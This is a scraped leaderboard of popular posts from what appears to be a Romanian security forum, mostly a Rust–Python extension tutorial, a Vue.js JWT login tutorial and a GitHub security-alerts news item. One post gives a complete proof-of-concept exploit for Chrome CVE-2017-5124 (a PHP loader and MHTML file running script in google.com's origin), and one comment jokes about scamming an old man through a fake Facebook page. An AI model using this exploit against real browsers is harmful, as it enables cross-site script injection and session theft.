Leaderboard
Popular Content
Showing content with the highest reputation on 11/17/17 in all areas
-
https://hbogo.ro/ cont gratis pentru o luna hbo go p.s. nu pot crea topic in categoria freestuf p.s. sper sa nu deranjeze postarea2 points
-
What is Rust? Rust is a systems programming language that runs blazingly fast, prevents segfaults, and guarantees thread safety. Featuring zero-cost abstractions move semantics guaranteed memory safety threads without data races trait-based generics pattern matching type inference minimal runtime efficient C bindings Description is taken from rust-lang.org. Why does it matter for a Python developer? The better description of Rust I heard from Elias (a member of the Rust Brazil Telegram Group). There is a bunch of Rust packages out there to help you extending Python with Rust. I can mention Milksnake created by Armin Ronacher (the creator of Flask) and also PyO3 The Rust bindings for Python interpreter. See a complete reference list at the bottom of this article. Let’s see it in action For this post, I am going to use Rust Cpython, it’s the only one I have tested, it is compatible with stable version of Rust and found it straightforward to use. Pros: It is easy to write Rust functions and import from Python and as you will see by the benchmarks it worth in terms of performance. Cons: The distribution of your project/lib/framework will demand the Rust module to be compiled on the target system because of variation of environment and architecture, there will be a compiling stage which you don’t have when installing Pure Python libraries, you can make it easier using rust-setuptools or using the MilkSnake to embed binary data in Python Wheels. Python is sometimes slow Yes, Python is known for being “slow” in some cases and the good news is that this doesn’t really matter depending on your project goals and priorities. For most projects, this detail will not be very important. However, you may face the rare case where a single function or module is taking too much time and is detected as the bottleneck of your project performance, often happens with string parsing and image processing. Example Let’s say you have a Python function which does a string processing, take the following easy example of counting pairs of repeated chars, but have in mind that this example can be reproduced with other string processing functions or any other generally slow process in Python. # How many subsequent-repeated group of chars are in the given string? abCCdeFFghiJJklmnopqRRstuVVxyZZ... {millions of chars here} 1 2 3 4 5 6 Python is slow for doing large string processing, so you can use pytest-benchmark to compare a Pure Python (with Iterator Zipping) function versus a Regexp implementation. # Using a Python3.6 environment $ pip3 install pytest pytest-benchmark Then write a new Python program called doubles.py import re import string import random # Python ZIP version def count_doubles(val): total = 0 # there is an improved version later on this post for c1, c2 in zip(val, val[1:]): if c1 == c2: total += 1 return total # Python REGEXP version double_re = re.compile(r'(?=(.)\1)') def count_doubles_regex(val): return len(double_re.findall(val)) # Benchmark it # generate 1M of random letters to test it val = ''.join(random.choice(string.ascii_letters) for i in range(1000000)) def test_pure_python(benchmark): benchmark(count_doubles, val) def test_regex(benchmark): benchmark(count_doubles_regex, val) Run pytest to compare: $ pytest doubles.py ============================================================================= platform linux -- Python 3.6.0, pytest-3.2.3, py-1.4.34, pluggy-0.4. benchmark: 3.1.1 (defaults: timer=time.perf_counter disable_gc=False min_roun rootdir: /Projects/rustpy, inifile: plugins: benchmark-3.1.1 collected 2 items doubles.py .. ----------------------------------------------------------------------------- Name (time in ms) Min Max Mean ----------------------------------------------------------------------------- test_regex 24.6824 (1.0) 32.3960 (1.0) 27.0167 (1.0) test_pure_python 51.4964 (2.09) 62.5680 (1.93) 52.8334 (1.96) ----------------------------------------------------------------------------- Lets take the Mean for comparison: Regexp – 27.0167 <– less is better Python Zip – 52.8334 Extending Python with Rust Create a new crate crate is how we call Rust Packages. Having rust installed (recommended way is Rust is https://www.rustup.rs/ )also available on Fedora and RHEL repositories by the rust-toolset I used rustc 1.21.0 In the same folder run: cargo new pyext-myrustlib It creates a new Rust project in that same folder called pyext-myrustlib containing the Cargo.toml (cargo is the Rust package manager) and also a src/lib.rs (where we write our library implementation). Edit Cargo.toml It will use the rust-cpython crate as dependency and tell cargo to generate a dylib to be imported from Python. [package] name = "pyext-myrustlib" version = "0.1.0" authors = ["Bruno Rocha <rochacbruno@gmail.com>"] [lib] name = "myrustlib" crate-type = ["dylib"] [dependencies.cpython] version = "0.1" features = ["extension-module"] Edit src/lib.rs What we need to do: Import all macros from cpython crate. Take Python and PyResult types from CPython into our lib scope. Write the count_doubles function implementation in Rust, note that this is very similar to the Pure Python version except for: It takes a Python as first argument, which is a reference to the Python Interpreter and allows Rust to use the Python GIL. Receives a &str typed val as reference. Returns a PyResult which is a type that allows the rise of Python exceptions. Returns an PyResult object in Ok(total) (Result is an enum type that represents either success (Ok) or failure (Err)) and as our function is expected to return a PyResult the compiler will take care of wrapping our Ok on that type. (note that our PyResult expects a u64 as return value). Using py_module_initializer! macro we register new attributes to the lib, including the __doc__ and also we add the count_doubles attribute referencing our Rust implementation of the function. Attention to the names libmyrustlib, initlibmyrustlib, and PyInit. We also use the try! macro, which is the equivalent to Python’stry.. except. Return Ok(()) – The () is an empty result tuple, the equivalent of None in Python. #[macro_use] extern crate cpython; use cpython::{Python, PyResult}; fn count_doubles(_py: Python, val: &str) -> PyResult<u64> { let mut total = 0u64; // There is an improved version later on this post for (c1, c2) in val.chars().zip(val.chars().skip(1)) { if c1 == c2 { total += 1; } } Ok(total) } py_module_initializer!(libmyrustlib, initlibmyrustlib, PyInit_myrustlib, |py, m | { try!(m.add(py, "__doc__", "This module is implemented in Rust")); try!(m.add(py, "count_doubles", py_fn!(py, count_doubles(val: &str)))); Ok(()) }); Now let’s build it with cargo $ cargo build --release Finished release [optimized] target(s) in 0.0 secs $ ls -la target/release/libmyrustlib* target/release/libmyrustlib.d target/release/libmyrustlib.so* <-- Our dylib is here Now let’s copy the generated .so lib to the same folder where our doubles.py is located. NOTE: on Fedora you must get a .so in other system you may get a .dylib and you can rename it changing extension to .so. $ cd .. $ ls doubles.py pyext-myrustlib/ $ cp pyext-myrustlib/target/release/libmyrustlib.so myrustlib.so $ ls doubles.py myrustlib.so pyext-myrustlib/ Having the myrustlib.so in the same folder or added to your Python path allows it to be directly imported, transparently as it was a Python module. Importing from Python and comparing the results Edit your doubles.py now importing our Rust implemented version and adding a benchmark for it. import re import string import random import myrustlib # <-- Import the Rust implemented module (myrustlib.so) def count_doubles(val): """Count repeated pair of chars ins a string""" total = 0 for c1, c2 in zip(val, val[1:]): if c1 == c2: total += 1 return total double_re = re.compile(r'(?=(.)\1)') def count_doubles_regex(val): return len(double_re.findall(val)) val = ''.join(random.choice(string.ascii_letters) for i in range(1000000)) def test_pure_python(benchmark): benchmark(count_doubles, val) def test_regex(benchmark): benchmark(count_doubles_regex, val) def test_rust(benchmark): # <-- Benchmark the Rust version benchmark(myrustlib.count_doubles, val) Benchmark $ pytest doubles.py ============================================================================== platform linux -- Python 3.6.0, pytest-3.2.3, py-1.4.34, pluggy-0.4. benchmark: 3.1.1 (defaults: timer=time.perf_counter disable_gc=False min_round rootdir: /Projects/rustpy, inifile: plugins: benchmark-3.1.1 collected 3 items doubles.py ... ----------------------------------------------------------------------------- Name (time in ms) Min Max Mean ----------------------------------------------------------------------------- test_rust 2.5555 (1.0) 2.9296 (1.0) 2.6085 (1.0) test_regex 25.6049 (10.02) 27.2190 (9.29) 25.8876 (9.92) test_pure_python 52.9428 (20.72) 56.3666 (19.24) 53.9732 (20.69) ----------------------------------------------------------------------------- Lets take the Mean for comparison: Rust – 2.6085 <– less is better Regexp – 25.8876 Python Zip – 53.9732 Rust implementation can be 10x faster than Python Regex and 21x faster than Pure Python Version. Interesting that Regex version is only 2x faster than Pure Python 🙂 NOTE: That numbers makes sense only for this particular scenario, for other cases that comparison may be different. Updates and Improvements After this article has been published I got some comments on r/python and also on r/rust The contributions came as Pull Requests and you can send a new if you think the functions can be improved. Thanks to: Josh Stone we got a better implementation for Rust which iterates the string only once and also the Python equivalent. Thanks to: Purple Pixie we got a Python implementation using itertools, however this version is not performing any better and still needs improvements. Iterating only once fn count_doubles_once(_py: Python, val: &str) -> PyResult<u64> { let mut total = 0u64; let mut chars = val.chars(); if let Some(mut c1) = chars.next() { for c2 in chars { if c1 == c2 { total += 1; } c1 = c2; } } Ok(total) } def count_doubles_once(val): total = 0 chars = iter(val) c1 = next(chars) for c2 in chars: if c1 == c2: total += 1 c1 = c2 return total Python with itertools import itertools def count_doubles_itertools(val): c1s, c2s = itertools.tee(val) next(c2s, None) total = 0 for c1, c2 in zip(c1s, c2s): if c1 == c2: total += 1 return total New Results ------------------------------------------------------------------------------- Name (time in ms) Min Max Mean ------------------------------------------------------------------------------- test_rust_once 1.0072 (1.0) 1.7659 (1.0) 1.1268 (1.0) test_rust 2.6228 (2.60) 4.5545 (2.58) 2.9367 (2.61) test_regex 26.0261 (25.84) 32.5899 (18.45) 27.2677 (24.20) test_pure_python_once 38.2015 (37.93) 43.9625 (24.90) 39.5838 (35.13) test_pure_python 52.4487 (52.07) 59.4220 (33.65) 54.8916 (48.71) test_itertools 58.5658 (58.15) 66.0683 (37.41) 60.8705 (54.02) ------------------------------------------------------------------------------- The new Rust implementation is 3x better than the old, but the python-itertools version is even slower than the pure python After adding the improvements to iterate the list of chars only once, Rust still has advantage from 1.1268 to 39.583 Conclusion Rust may not be yet the general purpose language of choice by its level of complexity and may not be the better choice yet to write common simple applications such as web sites and test automation scripts. However, for specific parts of the project where Python is known to be the bottleneck and your natural choice would be implementing a C/C++ extension, writing this extension in Rust seems easy and better to maintain. There are still many improvements to come in Rust and lots of others crates to offer Python <--> Rust integration. Even if you are not including the language in your tool belt right now, it is really worth to keep an eye open to the future! References The code snippets for the examples showed here are available in GitHub repo: https://github.com/rochacbruno/rust-python-example. The examples in this publication are inspired by Extending Python with Rust talk by Samuel Cormier-Iijima in Pycon Canada. video here: Also by My Python is a little Rust-y by Dan Callahan in Pycon Montreal. video here: Other references: https://github.com/mitsuhiko/snaek https://github.com/PyO3/pyo3 https://pypi.python.org/pypi/setuptools-rust https://github.com/mckaymatt/cookiecutter-pypackage-rust-cross-platform-publish http://jakegoulding.com/rust-ffi-omnibus/ https://github.com/urschrei/polylabel-rs/blob/master/src/ffi.rs https://bheisler.github.io/post/calling-rust-in-python/ https://github.com/saethlin/rust-lather Join Community Join Rust community, you can find group links in https://www.rust-lang.org/en-US/community.html. If you speak Portuguese, I recommend you to join https://t.me/rustlangbr and there is the http://bit.ly/canalrustbr on Youtube. Author Bruno Rocha Senior Quality Engineer at Red Hat Teaching Python and Flask at CursoDePython.com.br Fellow Member of Python Software Foundation Member of RustBR study group M0ore info: http://about.me/rochacbruno and http://brunorocha.org Source1 point
-
Google Chrome versions prior to 62 universal cross site scripting proof of concept exploit. Download CVE-2017-5124-master.zip Content: PoC.mht PoC.php README.md Mirror: README.md # CVE-2017-5124 ### UXSS with MHTML DEMO: https://bo0om.ru/chrome_poc/PoC.php (tested on Chrome/61.0.3163.100) PoC.php <?php $filename=realpath("PoC.mht"); header( "Content-type: multipart/related"); readfile($filename); ?> PoC.mht MIME-Version: 1.0 Content-Type: multipart/related; type="text/html"; boundary="----MultipartBoundary--" CVE-2017-5124 ------MultipartBoundary-- Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [ <!ATTLIST xsl:stylesheet id ID #REQUIRED> ]> <xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet> ------MultipartBoundary-- Content-Type: text/html Content-Location: https://google.com <script>alert('Location origin: '+location.origin)</script> ------MultipartBoundary---- Source1 point
-
GitHub's new service will help developers clean up vulnerable project dependencies. Devlopers can view the security alerts in the repository's dependency graph, which can be accessed from 'Insights'. Image: GitHub Development platform GitHub has launched a new service that searches project dependencies in JavaScript and Ruby for known vulnerabilities and then alerts project owners if it finds any. The new service aims to help developers update project dependencies as soon as GitHub becomes aware of a newly announced vulnerability. GitHub will identify all public repositories that use the affected version of the dependency. Projects under private repositories will need to opt into the vulnerability-detection service. The alerts should have a big impact on security, given that GitHub now hosts nearly 70 million repositories, with projects that rely on dependent software packages or software libraries that frequently do not get updated when new flaws are disclosed. The alerts form part of GitHub's so-called 'dependency graph', which helps developers monitor projects that their code depends on, and lists a project's various Ruby and JavaScript dependencies. Developers can view the security alerts in the repository's dependency graph, which can be accessed from 'Insights'. The alerts are only sent to project owners and others with admin access to repositories. The company promises never to publicly disclose vulnerabilities for a specific repository. Users can choose to receive the alerts by email, web notifications or the GitHub interface. GitHub's is also using machine learning to suggest fixes from the GitHub community. The alerts are based on public vulnerabilities in Ruby gems and NPM, the package manager for Node.js, on MITRE's Common Vulnerabilities and Exposures (CVE) List. GitHub will add Python to its vulnerability alert service in 2018. Python, Ruby, and JavaScript are among the top five languages on GitHub, along with Java and PHP. It appears the alerts will be limited to flaws with CVE IDs initially. However, as GitHub notes many publicly disclosed flaws don't have CVE IDs. It suggests future improvements will help it identify more vulnerabilities as it collects more data about them. Source: zdnet.com1 point
-
1 point
-
Eu am facut o pagina de facebook cu o curva si am pacalit un arab batran de 1 milion de dolari, este mult mai rentabil asa... P.S. Am doar 300 de prieteni1 point
-
Nu "da-ti" banii pe prosti, dati muie la copii! Cam asa e logica lui...1 point
-
Awesome Coding Videos Learn to code by watching free awesome video courses Source: www.awesomecodingvideos.com1 point
-
1 point
-
Scuza buna pentru nevasta cand te prinde vorbind cu amanta Vocile bre.. vocile.. #WeAreLegionForWeAreMany1 point
-
1 point
-
1 point
-
1 point
-
Păi stai. Dacă la un mil de like-uri ai un impact de aproximativ 300-1000 de like-uri la o postare din ce am văzut, e foarte puțin. Adică zic că dacă ai un cont de pizdă cu 2000 de fani și postezi o țâță, ai sigur 1500 de like-uri, față de a ta cu 900 și peste un milion de like-uri. Zic și eu. Cum ziceau și băieții poate vinzi numărul în sine de like-uri al paginii, că altfel nu face nici pe departe atât cu reach-ul ăla al postărilor. Gândește-te că dacă cineva are un produs, de 150 de sute de coco face mult mai multe conversii decât dacă ți-ar cumpăra ție pagina, chiar pe termen lung vorbind. Spor la vânzare!1 point
-
Stai ca sunt in continuare nelamurit...de exemplu pentru primul, tu ceri 15.000 euro?? Vine cu un BMW la pachet?1 point
-
Esti sigur ca ai pus preturile corect si nu ai o problema la tastatura? Se tot apasa "k" dupa fiecare cifra....1 point
-
Overview TL;DR: There are a ton of great JavaScript frameworks out there, and it can be a little overwhelming to keep up with them all. The learning curve for these frameworks can also be a bit steep. Vue.js is a breath of fresh air in this regard. In this tutorial, we'll see how easy it is to get up and running with a Vue.js app and how we can easily add authentication to it. Check out the repo to get the code. We are lucky to have plenty of JavaScript frameworks to choose from these days but, at the same time, it can be quite fatiguing to keep up with all of them. Some have a steep learning curve and require a lot of time for developers and their teams to become comfortable with. Others might be easy to learn, but perhaps lack some features that are crucial to a project. In either case, the level of complexity associated with learning a new framework can often hinder adoption and leave developers and teams frustrated. If you're still choosing a framework for your Single Page App (SPA), or if you just want to learn a new technology, I believe Vue.js is one of the best frameworks you can pick. I love Vue.js for its simplicity and elegance, and how I can be super productive with it without needing to spend tons of time learning. In my experience, Vue.js just works and gets out of my way when developing applications. Those are some anecdotal selling points, but let's cut to the hard facts: what exactly is Vue.js and how does it differ from other frameworks? If you're familiar with AngularJS 1.x, then Vue.js will probably look pretty familiar. In fact, Vue is heavily inspired by Angular. So what's the difference then? Essentially, Vue has a much simpler and cleaner API, is more flexible, and claims better performance. Vue.js is firstly a view layer for applications that allows for reactive data binding and composable view components, and many developers use it only for their view layers. However, when combined with other tools in the Vue ecosystem, such as vue-router, vue-resource, and vue-loader, we get all the benefits of a great SPA framework while simplicity and developer experience are maintained. What We'll Build: A Vue.js Authentication App To demonstrate how easy it is to get up and running with a full SPA using Vue, we'll build a simple app that retrieves Chuck Norris quotes from a NodeJS backend. Vue can easily be mixed with other technologies, and you can use Vue for as much or as little of your app as you wish. To demonstrate Vue's full potential though, we'll build the whole front-end SPA with Vue components and follow Vue's pattern for large-scale applications. The front-end app will be totally decoupled from the back end, and we'll make HTTP requets to RESTful endpoints on our server. We'll also demonstrate how we can easily add authentication to our Vue.js app. We'll put Login and Signup components in place to show how we can retrieve and save a user's JWT, and then send it back to the server for accessing protected endpoints. Rather than listing out how Vue implements certain features and comparing them to other frameworks, we'll let the code speak for itself. Again, if you're familiar with Angular, it will be easy to reason about Vue's features and syntax. Installation and Setup Everything we need to start our component-based Vue.js app is on NPM. To get started, let's pull down what we need by creating our package.json file and specifying the packages we need. We can take full advantage of ES6 for our Vue components, and to make that happen, we'll use Babel. We'll also bundle everything up with Webpack and use hot reloading to see changes to our modules happen immediately. If you wish, you can also use other build tools (like Browserify) instead of Webpack. // package.json ... "devDependencies": { "babel-core": "^6.1.2", "babel-loader": "^6.1.0", "babel-plugin-transform-runtime": "^6.1.2", "babel-preset-es2015": "^6.1.2", "babel-runtime": "^6.0.14", "css-loader": "^0.21.0", "style-loader": "^0.13.0", "vue-hot-reload-api": "^1.2.1", "vue-html-loader": "^1.0.0", "vue-loader": "^7.0.1", "webpack": "^1.12.3", "webpack-dev-server": "^1.12.1" }, "dependencies": { "bootstrap": "^3.3.5", "vue-resource": "^0.1.17", "vue-router": "^0.7.5", "vue": "^1.0.7" } ... Once the rest of our package.json file is in place, we can install everything. npm install To make Webpack work, we need a configuration file for it. Let's put in a file called webpack.config.js and populate it. // webpack.config.js module.exports = { // the main entry of our app entry: ['./src/index.js', './src/auth/index.js'], // output configuration output: { path: __dirname + '/build/', publicPath: 'build/', filename: 'build.js' }, module: { loaders: [ // process *.vue files using vue-loader { test: /\.vue$/, loader: 'vue' }, // process *.js files using babel-loader // the exclude pattern is important so that we don't // apply babel transform to all the dependencies! { test: /\.js$/, loader: 'babel', exclude: /node_modules/ } ] }, babel: { presets: ['es2015'], plugins: ['transform-runtime'] } } In this config file, we're first specifying where our app's main entry point is and what the output path should be. The bundled JavaScript will be served as one file called build.js. In the module.loaders array, we're setting up processing for our Vue components. These components have an extension of .vue and are processed by vue-loader. That's all the configuration we need for now. Once we have our files in place, we just need to run webpack-dev-server --inline --hot to bundle and serve everything. Setting Up the Back End We're using our trusty nodejs-jwt-authentication-sample to retrieve Chuck Norris quotes. Clone the repo wherever you like (here we're putting it in a server directory) and follow the readme for installation steps. Setting Up the Vue Components Let's get started with the actual components for our app. But first, what exactly is a Vue component and how does it work? Vue components allow us to specify a template, a script, and style rules all in one file. If you're familiar with React, this will likely be familiar. This move toward composition and splitting the app into small components is helpful for maintainence and reasoning about the app. To see how this works, let's start with the Home component. <!-- src/components/Home.vue --> <template> <div class="col-sm-6 col-sm-offset-3"> <h1>Get a Free Chuck Norris Quote!</h1> <button class="btn btn-primary" v-on:click="getQuote()">Get a Quote</button> <div class="quote-area" v-if="quote"> <h2><blockquote>{{ quote }}</blockquote></h2> </div> </div> </template> <script> export default { data() { return { quote: '' } }, methods: { getQuote() { this.$http .get('http://localhost:3001/api/random-quote', (data) => { this.quote = data; }) .error((err) => console.log(err)) } } } </script> The template is just some simple markup with a button that calls the method getQuote. We can notice some similarities to Angular in this code already. The template uses directives like v-on:click for click events, and v-if to conditionally show and hide the quote-area div. Vue also uses the double curly brace syntax for templating, which is how we take care of rendering the quoteproperty. The script area exports an object that is converted into a component constructor function by Vue. It has on it a data method and a methods object where we can register custom methods. When we want to register a data property to be used in the template, we need to do so in the data method. If we were to leave out the quote property from the returned object, that property wouldn't be rendered in the template. The getQuote method makes an HTTP request to our back end and sets the returned data on the quote property. This gives us a good idea of what Vue components look like, but this won't work quite yet because we need to set up our app's main entry point, as well as a main App component. Here's how this component will render once everything is set up: Setting Up index.js and App.vue The index.js file is the place where we set up our main imports and do other configuration like routing. Let's set up everything we'll need for the whole app right now. // src/index.js import Vue from 'vue' import App from './components/App.vue' import Home from './components/Home.vue' import SecretQuote from './components/SecretQuote.vue' import Signup from './components/Signup.vue' import Login from './components/Login.vue' import VueRouter from 'vue-router' import VueResource from 'vue-resource' Vue.use(VueResource) Vue.use(VueRouter) export var router = new VueRouter() // Set up routing and match routes to components router.map({ '/home': { component: Home }, 'secretquote': { component: SecretQuote }, '/login': { component: Login }, '/signup': { component: Signup } }) // Redirect to the home route if any routes are unmatched router.redirect({ '*': '/home' }) // Start the app on the #app div router.start(App, '#app') We're importing some components we've yet to create, as well as vue-router and vue-resource. For the app to recognize vue-router and vue-resource, we just need to call Vue.use on them. We can set up our route definitions with the simple map method on our instance of vue-router. The reason we're exporting this instance is so we can get a reference to it in our other components. <!-- src/components/App.vue --> <template> <nav class="navbar navbar-default"> <div class="container"> <ul class="nav navbar-nav"> <li><a v-link="'home'">Home</a></li> <li><a v-link="'login'">Login</a></li> <li><a v-link="'signup'">Sign Up</a></li> <li><a v-link="'secretquote'">Secret Quote</a></li> <li><a v-link="'login'">Logout</a></li> </ul> </div> </nav> <div class="container"> <router-view></router-view> </div> </template> To start out, our App component just needs a template. This top-level component has a navbar and exposes a router-view which is where our various routes will be rendered. Linking to routes is as simple as placing v-link on the anchor tags. Finally, we need to be sure to place a div with an id of app within index.html, as this is where the whole app will be exposed. <!-- index.html --> ... <body> <div id="app"></div> <script src="build/build.js"></script> </body> ... User Authentication - Login and Signup Components To log users in, we'll need to make an HTTP request to our authentication endpoint and save the JWT that is returned in localStorage. We could place this logic right within our Login component, but we should really have a service to make it more reusable. Let's create a directory called auth and provide an index.js file there. // src/auth/index.js import {router} from '../index' // URL and endpoint constants const API_URL = 'http://localhost:3001/' const LOGIN_URL = API_URL + 'sessions/create/' const SIGNUP_URL = API_URL + 'users/' export default { // User object will let us check authentication status user: { authenticated: false }, // Send a request to the login URL and save the returned JWT login(context, creds, redirect) { context.$http.post(LOGIN_URL, creds, (data) => { localStorage.setItem('id_token', data.id_token) localStorage.setItem('access_token', data.access_token) this.user.authenticated = true // Redirect to a specified route if(redirect) { router.go(redirect) } }).error((err) => { context.error = err }) }, signup(context, creds, redirect) { context.$http.post(SIGNUP_URL, creds, (data) => { localStorage.setItem('id_token', data.id_token) localStorage.setItem('access_token', data.access_token) this.user.authenticated = true if(redirect) { router.go(redirect) } }).error((err) => { context.error = err }) }, // To log out, we just need to remove the token logout() { localStorage.removeItem('id_token') localStorage.removeItem('access_token') this.user.authenticated = false }, checkAuth() { var jwt = localStorage.getItem('id_token') if(jwt) { this.user.authenticated = true } else { this.user.authenticated = false } }, // The object to be passed as a header for authenticated requests getAuthHeader() { return { 'Authorization': 'Bearer ' + localStorage.getItem('access_token') } } } Our auth service exposes methods for logging users in and out, signing them up, and checking their authentication status. Note that "logging in" is just a matter of saving the JWT that is returned by the server. These methods and properties will all be useful throughout the app. For example, we can use the user.authenticated property to conditionally show elements in the app. Implementing the Login Component The Login component will need some HTML for the user inputs and a method to call our auth service. <!-- src/components/Login.vue --> <template> <div class="col-sm-4 col-sm-offset-4"> <h2>Log In</h2> <p>Log in to your account to get some great quotes.</p> <div class="alert alert-danger" v-if="error"> <p>{{ error }}</p> </div> <div class="form-group"> <input type="text" class="form-control" placeholder="Enter your username" v-model="credentials.username" > </div> <div class="form-group"> <input type="password" class="form-control" placeholder="Enter your password" v-model="credentials.password" > </div> <button class="btn btn-primary" @click="submit()">Access</button> </div> </template> <script> import auth from '../auth' export default { data() { return { // We need to initialize the component with any // properties that will be used in it credentials: { username: '', password: '' }, error: '' } }, methods: { submit() { var credentials = { username: this.credentials.username, password: this.credentials.password } // We need to pass the component's this context // to properly make use of http in the auth service auth.login(this, credentials, 'secretquote') } } } </script> HTTP calls made with vue-resource require a component's context, and since we're abstracting that logic to a service, we need to pass the Login component's this context to the service. The second argument is the object with the user's credentials, and the third is the route we want to redirect to upon successfully authenticating. Note that we're using @click on our submit button here. This is a shorthand alternative to v-on:click. The Signup component is nearly identical, except it will use the signup method from the auth service to send the user's credentials to a different endpoint. Implementing the Secret Quote Component When a user successfully authenticates, they will be able to access the secret-quote route from the API. The SecretQuote component will look similar to the Home component, but we'll attach the user's JWT as an Authorization header when requests are sent. <!-- src/components/SecretQuote.vue --> <template> <div class="col-sm-6 col-sm-offset-3"> <h1>Get a Secret Chuck Norris Quote!</h1> <button class="btn btn-warning" v-on:click="getQuote()">Get a Quote</button> <div class="quote-area" v-if="quote"> <h2><blockquote>{{ quote }}</blockquote></h2> </div> </div> </template> <script> import auth from '../auth' export default { data() { return { quote: '' } }, methods: { getQuote() { this.$http .get('http://localhost:3001/api/protected/random-quote', (data) => { this.quote = data; }, { // Attach the JWT header headers: auth.getAuthHeader() }) .error((err) => console.log(err)) } }, route: { // Check the users auth status before // allowing navigation to the route canActivate() { return auth.user.authenticated } } } </script> The header is attached by providing an options object as the third argument to the HTTP request. To get the JWT header, we call the getAuthHeader method from the auth service. Since we don't want users to access this route if they are not authenticated, we can tap into vue-router's transition pipeline. Specifically, we use the canActivate hook and consult the auth service to check if the user is authenticated. If so, the route can be navigated to. Final Touches We're nearly done, but there are a couple of improvements we can make before we finish out. It would be good to conditionally show and hide menu items based on the user's auth status. To do that, we'll use v-if. <!-- src/components/App.vue --> <template> <nav class="navbar navbar-default"> <div class="container"> <ul class="nav navbar-nav"> <li><a v-link="'home'">Home</a></li> <li><a v-link="'login'" v-if="!user.authenticated">Login</a></li> <li><a v-link="'signup'" v-if="!user.authenticated">Sign Up</a></li> <li><a v-link="'secretquote'" v-if="user.authenticated">Secret Quote</a></li> <li><a v-link="'login'" v-if="user.authenticated" @click="logout()">Logout</a></li> </ul> </div> </nav> <div class="container"> <router-view></router-view> </div> </template> <script> import auth from '../auth' export default { data() { return { user: auth.user } }, methods: { logout() { auth.logout() } } } </script> The auth service sets the user's authentication status when the login or logout methods are used, but if the page is refreshed or the app closed and reopened, that status will be lost. To get around that, let's call checkLogin when the app is first loaded. // src/index.js ... import auth from './auth' // Check the users auth status when the app starts auth.checkAuth() ... Setting Global Headers When we make a request to the protected secret-quote route, we pass an options object that has the Authorization header and user's JWT access_tokenon it. If, instead, we wanted to globally set the Authorization header and not worry about setting it on each HTTP request, we could set up a global header. // src/index.js ... // Optional Vue.http.headers.common['Authorization'] = auth.getAuthHeader(); ... Aside: Using Auth0 With Your Vue.js App uth0 issues JSON Web Tokens on every login for your users. This means that you can have a solid identity infrastructure, including single sign-on, user management, support for social identity providers (Facebook, Github, Twitter, etc.), enterprise identity providers (Active Directory, LDAP, SAML, etc.) and your own database of users with just a few lines of code. We can easily set up authentication in our Vue.js apps by using the Lock Widget. Step 1: Include Auth0's Lock Widget <!-- index.html --> ... <!-- Auth0 Lock script --> <script src="//cdn.auth0.com/js/lock-7.11.1.min.js"></script> ... Step 2: Instantiate Lock in index.js // src/index.js ... // Instantiate a Lock export var lock = new Auth0Lock(YOUR_CLIENT_ID, YOUR_CLIENT_DOMAIN) ... Step 3: Call the Lock Widget from a Vue.js Component <!-- src/components/Login.vue --> <template> <div class="col-sm-4 col-sm-offset-4"> <h2>Log In</h2> <p>Log In with Auth0's Lock Widget.</p> <button class="btn btn-primary" @click="login()">Log In</button> </div> </template> <script> // Import the Lock instance import {lock} from '../index' export default { methods: { login() { // Show the Lock Widget and save the user's JWT on a successful login lock.show((err, profile, id_token) => { localStorage.setItem('profile', JSON.stringify(profile)) localStorage.setItem('id_token', id_token) }) }, logout() { // Remove the profile and token from localStorage localStorage.removeItem('profile') localStorage.removeItem('id_token') } } } </script> Important API Security Note: If you want to use Auth0 authentication to authorize API requests, note that you'll need to use a different flow depending on your use case. Auth0 idToken should only be used on the client-side. Access tokens should be used to authorize APIs. You can read more about making API calls with Auth0 here. Wrapping Up We have many great choices for SPA frameworks these days, and this can easily cause analysis paralysis. Further, it can be fatiguing to keep up with the pace of new framework development and to learn their ins and outs. I find Vue.js to be a breath of fresh air in this regard. The library and ecosystem are feature-rich, but they get out of your way as you develop your apps. I've found that the learning curve with Vue.js isn't as steep as it can be with other frameworks, and from my experience, it seems to always just work. As we saw in this tutorial, we can easily add authentication to our Vue.js apps. Also, Vue's HTTP library, vue-resource, makes it trivial to send requests with an Authorization header. I hope you'll consider Vue.js for your next project--it really is great to work with! Source: https://auth0.com/blog/build-an-app-with-vuejs/.1 point